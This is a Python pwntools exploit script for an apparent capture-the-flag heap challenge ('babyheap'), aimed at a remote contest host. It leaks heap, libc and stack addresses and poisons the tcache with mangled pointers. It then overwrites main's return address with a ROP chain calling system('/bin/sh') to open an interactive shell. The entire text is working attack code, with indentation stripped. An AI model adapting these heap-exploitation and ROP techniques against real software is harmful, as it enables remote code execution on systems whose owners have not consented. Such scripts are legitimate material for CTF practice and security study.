#!/usr/bin/python3
from pwn import context, args, gdb, ELF, process, u64, log, p64, flat, remote
context.arch = 'amd64'
context.binary = elf = ELF("./babyheap_patched")
libc = ELF("./libc.so.6")
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
p = remote("baby-heap.nc.jctf.pro", 1337)
def create(idx, data):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"dex?", str(idx).encode())
p.sendafter(b"Content?", data)
def free(idx):
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"dex?", str(idx).encode())
def update(idx, data):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"dex?", str(idx).encode())
p.sendafter(b"Content?", data)
def read(idx):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"dex?", str(idx).encode())
#(0x5555555592a0 >> 12) ^ 0x555555559410
def mangle_ptr(bin_addr, ptr):
return (bin_addr >> 12) ^ ptr
def main():
for i in range(9):
create(i, b'F' * 8)
# Free the tcache part
for i in range(8):
free(i)
# Parse heap leak
read(0)
p.recv(8)
heap = u64(p.recv(8))
heap = int(hex(heap) + "000", 16)
log.success(f'Leaked heap: {hex(heap)}')
create(9, b'C' * 8)
free(8)
# Cause scanf to malloc, triggering malloc_consolidate
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"dex?", b"0"*0x400)
# Parse libc leak
read(7)
p.recv(8)
libc.address = u64(p.recv(8)) - 0x203b50
log.success(f"Leaked libc: {hex(libc.address)}")
# Not enough space for FSOP, fallback to ROP
libc_argv = libc.address + 0x2046e0
# Poison tcache
for i in range(10, 15):
create(i, b'P' * 8)
update(1, p64(mangle_ptr(heap+0x2e0, libc_argv)))
create(15, b'A')
create(16, b'A')
# Parse stack leak
read(16)
p.recv(8)
stack = u64(p.recv(8)) - 0x41
log.success(f"Leaked main stack frame: {hex(stack)}")
main_ret_addr = stack - 0x30
log.info(f"Overwriting main's rip with ROP chain starting at {hex(main_ret_addr)}")
# Poison tcache again
create(17, b'B' * 8)
free(15)
free(17)
update(17, p64(mangle_ptr(heap + 0x2e0, main_ret_addr)))
create(18, b'a')
create(19, b'B' * 8)
# Gadgets
pop_rdi = p64(libc.address + 0x000000000010f75b)
bin_sh = p64(next(libc.search(b'/bin/sh')))
ret = p64(libc.address + 0x000000000002882f)
payload = flat(
b'B' * 8,
ret,
pop_rdi,
bin_sh,
p64(libc.sym.system)
)
update(19, payload)
p.sendlineafter(b"> ", b"0")
p.interactive()
if __name__ == '__main__':
main()